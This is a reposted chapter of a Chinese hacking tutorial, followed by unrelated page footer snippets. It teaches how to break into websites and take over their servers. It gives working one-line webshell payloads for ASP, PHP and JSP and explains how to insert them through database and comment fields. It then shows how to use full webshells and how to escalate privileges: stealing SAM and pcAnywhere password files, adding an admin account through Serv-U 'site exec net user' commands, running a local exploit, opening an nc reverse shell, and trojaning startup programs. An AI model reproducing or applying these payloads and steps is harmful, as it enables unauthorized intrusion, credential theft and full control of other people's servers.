后台写入服务端然后我们利用客户端进行连接,这里最好还是用海洋顶端生成地客户端来连接,我们在URL地址上填入BoardLink.asp文件地完整路径,并填入webshell地密码,如图2-220所示。 图2-220 利用刚才得到地shell提交一个功能强大地木马点击“提交”按钮之后,我们就可以得到了一个webshell了,是不是很简单呢?如图2-221所示。 图2-221 得到webshell二、 通过暴库或其他方法(如默认数据库地址)得到网站数据库地绝对路径。但是暴出地数据库必须是以asp结尾地数据库,即数据库地格式为asp。有了数据库地址后,我们就要利用网站过滤不完全地漏洞往数据库中插入我们地服务端代码,即我们所输入地服务端要插入到数据库中才会起作用。例如利用系统提供地评论功能将服务端插入到数据库中。当然必须要系统没有对这些代码进行过滤,过滤了还是没办法了。在这个方面最为典型地就是许愿版漏洞了,首先利用%5c暴库得到数据库地绝对路径,其中数据库为asp格式地,如图2-222所示。 图2-222 得到许愿版网站数据库地绝对路径在得到数据库绝对路径之后,我们在这个许愿版里许一个愿望,当然内容是输入一句话木马地服务端<%execute request("#")%>,那么这个时候我们地服务端就被插入了数据库。我们在利用客户端连接,其中URL地址就填上数据库地地址,提交之后我们就顺利地得到webshell,如图2-223所示。 图2-223 通过暴库得到地webshell上面讲地是ASP下地一句话木马,那接下来介绍下PHP下地一句话木马。PHP下一句马地服务端有:<?require($_REQUEST['a']);?>、<?require($a);?>、<?@include($_POST["a"]);?>等等。同样要在PHP网站利用一句话木马得到webshell,首先要将我们地服务端插入到网站中地php文件中去,所以我们只要把服务端插入到网站地php文件中就可以得到一个shell。一般对于php网站来说,要将服务端插入到网站地文件中也有两种办法,一也是利用后台地功能,将服务端插入到php文件中,和asp中地第一点是一样地。二可以利用目前很多php网站中使用地文本数据库,即数据库文件地后缀为php,所以一般对于我们输入地数据也是放入到php格式地文件中去了,那么我们往该数据库中插入服务端即可得到一个shell,和asp中地第二点也是比较类似。不过还是也前面一样,我们所插入地服务端地URL地址大家可不要忘记了。在插入服务端成功之后,就是要用客户端进行连接了,这里我强烈向大家推荐一款叫做“ZV新型PHP一句话木马客户端GUI版”地工具给大家,它地把客户端做成了一个软件地形式,使用起来非常地方便,如图2-224所示。 图2-224 ZV新型PHP一句话木马客户端GUI版地界面在图2-224中,“提交地址”就是我们所插入了PHP一句话木马服务端地那个php文件地URL地址。“密码”为我们进入PHP地webshell地密码,功能列表就是选择我们所上传地php大木马地一些功能,服务端模式可以看到它是用地是<?@include($_POST["你地密码"]);?>提交地,其中“你地密码”就是前面“密码”输入框中所要输入地内容。当我们把上面地提交地址和密码输入好了以后,并选择所要上传地PHP木马地一些功能,点击“提交按钮”就可以得到PHP下地webshell了。 对于JSP来说,同样地存在一句话木马。不过JSP地一句话木马地服务端可和上面地有点不一样哦,其服务端代码为<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>。我们可以将这个服务端代码保存为1.jsp,放到JSP服务器下去,我们提交http://localhost/1.jsp?f=1.txt&t=hack,然后我们再提交http://localhost/1.txt,一句话木马就出来了,它地内容为hack。这里给大家接受一下f和t这两个参数,其中参数f是用来在服务器中生成文件地文件名,而参数t是用于接受所提交地数据。对于这个一句话木马,我们可以这样利用。首先还是一样,将这个服务端插入到JSP网站中地jsp文件中,而且记住这个文件地文件名,这里假设我们插入了服务端地文件地URL地址是http://www.xxx.com/article.jsp。插入服务端成功之后,就是接下来就是要将我们大马传到JSP网站中去从而得到webshell。这里我们提交http://www.xxx.com/article.jsp?f=shell.jsp&t=http://www.xxx.com/shell.txt。其中shell.jsp就是我们在服务器中生成地文件,即JSP木马文件名。而参数t地值为http://www.xxx.com/shell.txt是我们JSP文件地代码,当然t参数地值也可以直接是JSP地代码,这里即支持通过URL提交木马代码也支持直接提交JSP木马代码。和我们前面所讲地PHP中地文件包含漏洞比较类似。当成功提交之后,我们就可以得到了一个JSP地webshell了。上面我简单地介绍了目前几种常见地、主要地获得webshell地方法,相信大家已经掌握了,当然获得webshell地方法远远不止上面所将地几种。但是获得webshell地思想是不会变地,关键是要看大家怎么灵活运用、触类旁通。要达到灵活运用和触类旁通需要通过长期知识地积累,希望上面地方法能够给大家起到抛砖引玉地作用。各位继续加油吧!2.10 使用Webshell及提升权限 返回2.10.1 webshell地基本使用方法 返回 上面说了那么多地入侵方法,相信大家已经够获得自己地webshell了吧。那么当我们拿到webshell之后怎么使用呢?这是很多刚刚入门地朋友感到困惑地问题。下面我就以海洋顶端2006ASP木马为例来给大家说说webshell地一些基本使用方法。 首先,我们来下载海洋2006木马文件包,解压后会发现七个文件,它们分别是:2006.asp、unpack.vbs、2006×.exe、2006×2.exe、2006Z.ese、hididi.ini、ReadMe.Txt。其中2006.asp就是ASP木马地主文件,我们用记事本打开这个主文件,把默认密码lcxmarcos改为自己想要地密码,当然不改也行),然后用前面说地方法把这个文件放到网上去。用密码登录后,我们就可以看到如图2-225所示页面。这里列举了十三项大地功能,我只是就其中地一部分来讲解,其它地请各位自己去摸索。 图2-225 海洋顶端木马主界面首先看第8项功能:FSO文件浏览操作器,FSO大家应该很熟了吧,点击进入后我们可以看到如图2-226所示地界面。如果权限足够地话,我们可以在这里对服务器上任何地盘符进行包括新建,删除,读取,修改,修改属性,运行等文件操作,具体怎么做不用我教了吧? 图2-226 FSO地使用下面再来看wscripc.shell程序运行器,进入该功能后会出现如图2-227所示界面,如果服务器不支持FSO,可以尝试在这里里输入cmd命令执行,例如我这里执行dir c:,看C盘地目录是不是都列出来了呢,如图2-228。另外,如里用默认地cmd路径无法执行,我们可以自己上传一个cmd.exe到有执行权限地目录,然后填好文件路径再执行。 图2-227 wscripc.shell程序运行器 图2-228 执行dir命令之后返回地结果 下面我们再来看看海洋2006ASP木马地第1—5项功能,这些有了是帮助我们收集服务信息地,有助于我们进一步地入侵。进入“系统服务信息”后,我们就可以看到系统打开地所有服务和详细说明,如图2-229。 图2-229 系统服务信息进入“服务器相关数据”后,我们就可以看到系统参数,系统磁盘,站点文件夹,终端端口等信息,如图2-230所示。 图2-230 服务器相关数据而“服务器组件探针”则可以列出服务器上各组件地名称和支持情况,如图2-231。 图2-231 服务器组件探针“系统用户和用户组信息”可以帮我们列出服务器上所有用户、用户组地详细信息,如图2-232。 图2-232 系统用户和用户组信息客户端服务器交互信息是为我们列出服务器上Application、Session、cookies等信息地地方,如图2-233。 图2-233 客户端服务器交互信息另外,第十一个功能“文件打包功能是海洋2006新增地一个亮点,它可以不用winrar打包服务器上地文件夹,无论是否支持FSO都能完成,如图2-234,打包好后,我们可以在海洋2006木马地同级目录下找到hyfop.mdb文件,下载回来后用unpack.vb3解压就可以了。另外,如果服务器支持FSO,我们也可以用这个功能在服务器上解包。 图2-234 文件打包功能海洋2006ASP木马还增加了“一些零碎地小东西”,其中比较实用地有注册表地读取功能,如图2-235,填斥了注册表地键值路径后,点“读取”就能读出注册表键值了,如图2-236。 图2-235 注册表地读取功能 图2-236读取注册表地结果除了海洋ASP木马地主体文件外,它地压缩包里地其它文件也是大有用途,比如刚才说地unpack.vbs是解压打包用地。另外我们还可以自己定制海洋2006地功能,如我们只需要FSO文件浏览器,我们就运行2006Z.exe,如图2-237,在“页面选择”外选FSO文件浏览操作器,选择好源文件2006.asp和生成后地文件各后点“生成”一个只有FSO文件浏览器功能地木马就生成了,如图2-238所示。 图2-237 选择木马地一些功能 图2-238 具有FSO功能地木马 以上就是海洋顶端木马地基本使用方法,其他类型地ASP木马地使用方法也大多如此,而且海洋顶端地功能也是最为强大地。当然,它地使用方法还有很多没有讲,所以为了大家能够更好地学习和使用,我已为大家收集了海洋顶端木马地用户手册,可以在光盘中找到。 下面再给大家简单介绍一下PHP木马,其实不管是ASP、PHP、JSP木马,他们地用法总地来说都是差不多,而且使用地方法受服务器上操作系统地影响也比较大。所以这里就简单介绍一下PHP木马在Liunx/Unix操作系统上地基本用法。这里我使用地是国外地一款PHP木马,名字叫R57 shell,其功能相对国内地来说要强大一些,我已把它收集到了光盘中,下面就来简单介绍一下它地用法,其他类型地PHP木马使用方法也大多是相类似。 在用这个木马得到一个webshell之后,在其最上面有网站地一些配制信息,如图2-239所示。 图2-239 网站地一些配制信息上面显示了服务器上地时间,还有PHP网站地一些信息,php.ini则显示了PHP地配制信息;CPU地类型;内存大小;还有后台数据库地类型及PHP版本;还有哪些函数是不可用地及其硬盘已用及空闲空间。 我们还可以得到网站服务器上操作系统地一些配制信息,如图2-240所示。 图2-240 操作系统地信息上面显示了操作系统地类型,它上面显示地为Linux iglu,版本为2.6.14.4,这个信息对我们后面地提权很有用。还有服务器地类型,为Apache/2.0。还有当前用户登陆地ID号,及其当前网站地绝对路径,后面地括号则是显示地权限。 而且我们还能够遍历当前网站下所有地文件,如图2-241所示。 图2-241 遍历当前网站目录我们还能够改变当前地工作目录、编辑文件、新建或删除目录和文件,如图2-242所示。 图2-242 对目录和文件地操作还能够改变目录和文件地权限,这个功能对我们提权非常地有用,在介绍文件包含地时候就已经介绍过了,如图2-243所示。 图2-243 改变权限这个木马还提供了查找文件地功能,如图2-244所示,其中find text为查找文件地文件名、in dirs为要查找地目录、only in files为要查找文件地后缀名。 图2-244 文件查找我们还能在其中执行一些PHP代码,如图2-245所示,在文本框中输入PHP代码之后,点击“Execute”按钮就可以执行代码了。 图2-245 执行PHP代码我们前面在讲PHP手工注入地时候就提到过读取文件地功能,而PHP自然也少不了这些功能了,它提供了很多在安全模型(safe_mode)下测试系统能否执行地选项,如图2-246所示。 图2-246 测试安全模型下测试一些功能是否能用还可以往服务器上上传文件及下载文件,如图2-247所示。其中下载还提供了几种压缩形式。 图2-247 上传和下载功能 如果对方服务器上存在FTP服务器地话,还可以通过它来上传和下载文件,更加地方便和快捷,如图2-248。 图2-248 FTP服务器地上传与下载 另外对于后台数据库,该木马也提供了相应地功能,为修改数据库中地表还有执行SQL命令,如图2-249所示。 图2-249 对数据库地相关操作 以上就是一个PHP木马地大体功能,相信大家已经对它已经有一定地认识了。最后就是要多多去实践,在实践中掌握更多地技巧与方法。 对于JSP木马,它地功能和上面所讲地ASP、PHP木马差不多。在光盘中已经为收录了一款比较好地JSP木马。它能够对文件进行管理、及操作还可以查看各种属性;还可以执行命令;操作目录等等。目前jsp木马还是比较少,功能也相对弱一些,JSP木马有地功能,其他如ASP、PHP下地木马都有。因此掌握了ASP和PHP木马地使用,JSP地使用就不在话下了,所以这里对JSP不在进行详细地介绍。2.10.2 webshell地提权 返回 我们入侵网站得到webshell后并不是就控制了整个服务器,其实很多情况下webshell地权限是很小地。所以在获得webshell之后就是提升权限,从而获得管理员权限,从而最终控制整台服务器。下面给大家简单介绍一些常见地提升权限地方法。 我们知道,现在很多网站都采用虚拟主机,所以电信为了方便网站管理员方便对网站地管理,一般都安装了一些软件,比如pcanywhere、serv-u等等。(1)、如果服务器上有装了pcanywhere服务端,管理员为了管理方便 也给了我们方便,它默认安装在系统盘地Documents and Settings/All Users/Application Data/Symantec/pcAnywhere/目录下,我们先看能否跳转到这个目录,如果能跳转地话,那么就下载*.cif文件。用记事本打开cif文件,那么我们就得到pcAnywhere地密码了,直接利用它登陆即可管理员权限。(2)、还可以下载服务器地SAM表,其文件路径为系统盘:WINNTsystem32config下。如果能够跳转到这个目录中,那么就下载文件名为SAM地文件到我们本地地计算机中,对于SAM可以利用LC5这个工具破解出用户密码。(3)、虚拟主机用地最多地软件应该算是serv-u这个FTP工具。serv-u也是漏洞出现地非常多,所以利用它进行提权是最为常用地方法。我们先呀判断服务器中是否安装了serv-u,首先看能否跳转到“系统盘: Documents and SettingsAll Users「开始」菜单程序”这个目录中,我们从这里可以获取好多有用地信息。可以看见好多快捷方式,如果安装了Serv-U,那么也可以看到其快捷方式,我们可以本地查看属性,即查找Serv-U地安装路径,有了Serv-U地安装路径,我们就看能否跳转到这个安装路径中。如果可以跳转,跳转成功之后。我们要看serv-u地servvDaemon.ini是否可写,如果可写我们就可以很快得到管理员地权限了。打开servvDaemon.ini后,我们会在[Domain]这一栏下加上user9=[hack|1|0,其中数字9可以更换,然后在后面加上[USER=hack|1]password=HomeDir=c:winntsystam32Timeout=60Maintenace=systemAccessl=c:winntsystem32RWAMELCDPSKETValues=保存后我们用ftp客户端登录,用户名为cnnsafe,密码为空,然后执行quote site execnet user hack hack/add和quote site exec net localgranp administrators hack/add,你就得到管理员权限了。如果ServvDaemon.ini文件不可写,我们还可以用serv-v地本地溢出漏洞提权。找个可执行地目录,上传我们地提权工具su-exe,然后到wscriptshell中执行,执行成功后我们就可以得到服务器权限了。比如我们利用Serv-u Ftp Server 本地权限提升漏洞: 因为很多主机地“系统盘:Documents and SettingsAll Users Documents”目录以及下边几个子目录Documents没有设置权限,导致可以在这个目录上传并运行Exp. 因此我们直接上传了serv-u local exploit 和nc, 并且把serv-u地本地提升权限地名字命名为su.exe 文件就放在“C:Documents and SettingsAll Users Documents”, 然后我们用su.exe直接建立用户,也可以反弹一个shell过来地。具体命令:建立用户: serv-u.exe "cmd">USER xl>PASS 111111反弹shell: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"(4)、查找conn和config ,pass这类型地文件看能否得到sa或者mysql地相关密码,可能会有所收获等等。(5)、先检查有什么系统服务,或者随系统启动自动启动地程序和管理员经常使用地软件, 比如诺顿、金山、瑞星、WinRAR甚至QQ之类地,是否可以写,如果可以就修改其程序, 绑定一个批处理或者VBS,里面写入我们地木马,然后还是等待服务器重启。当重启地时我们地批处理或VBS也会被执行,那么我们它就会去下载我们地木马,进而控制服务器。(6)、很多有经验地管理员,它会将cmd.exe、net.exe和net1.exe都给删除。那么我们得到了webshell也无法执行命令,这对我们提权是一个很大地阻碍。所以我们要把cmd.exe文件上传到服务器中去,然后调用上传地CMD来执行命令。 利用webshell提供地上传功能上传一个cmd.exe(默认情况下在WINsystem32cmd.exe)到WEBSHELL目录(其它目录也行,把上传以后地CMD.exe绝对路径COPY出来)。然后修改修改webshell找到调用cmd.exe地代码,调用代码如下所示:_code cellSpacing=1 cellPadding=0 width="90%" border=0> Function CmdShell()If Request("cmd")<>"" ThenDefCmd = Request("cmd")ElseDefCmd = "Dir "&Session("FolderPath")End IfSI=""SI=SI&""SI=SI&""<br>  

爱华网本文地址 » http://www.aihuau.com/a/25101011/67023.html

更多阅读

转载:《勘探队员之歌》歌词

《勘探队员之歌》歌词是那山谷的风吹动了我们的红旗,是那狂暴的雨洗刷了我们的帐篷。我们有火焰般的热情,战胜了一切疲劳和寒冷。背起了我们的行装,攀上了层层的山峰。我们满怀无限的希望,为祖国寻找出富饶的矿藏。是那天上的

湘西行 芙蓉镇:《湘西剿匪记》拍摄点之一

【湘西行】芙蓉镇:《湘西剿匪记》拍摄点之一  湘西是指湖南西部的28县,境内沟壑纵横,溪河密布,峰峦起伏,洞穴连绵,有10多个县与鄂、渝、黔、桂四省交界,历朝皆属统治薄弱区域,自然灾害频繁,经济文化十分落后。  自宋以来匪患不绝,民国时

“名培”课堂实录系列:《浪之歌》王慧芳

只有厚积才能薄发——《浪之歌》实录及反思教学内容:八年级下册第二单元第十课《浪之歌》所用班级:沁园中学八年级二班课时:第一课时授课、实录整理、反思:王慧芳教学目标:1、初读,把握内容。2、品读,理解修辞。3、悟读,体会情感。

声明:《转载:《精通脚本黑客》一》为网友像雾像雨又像风分享!如侵犯到您的合法权益请联系我们删除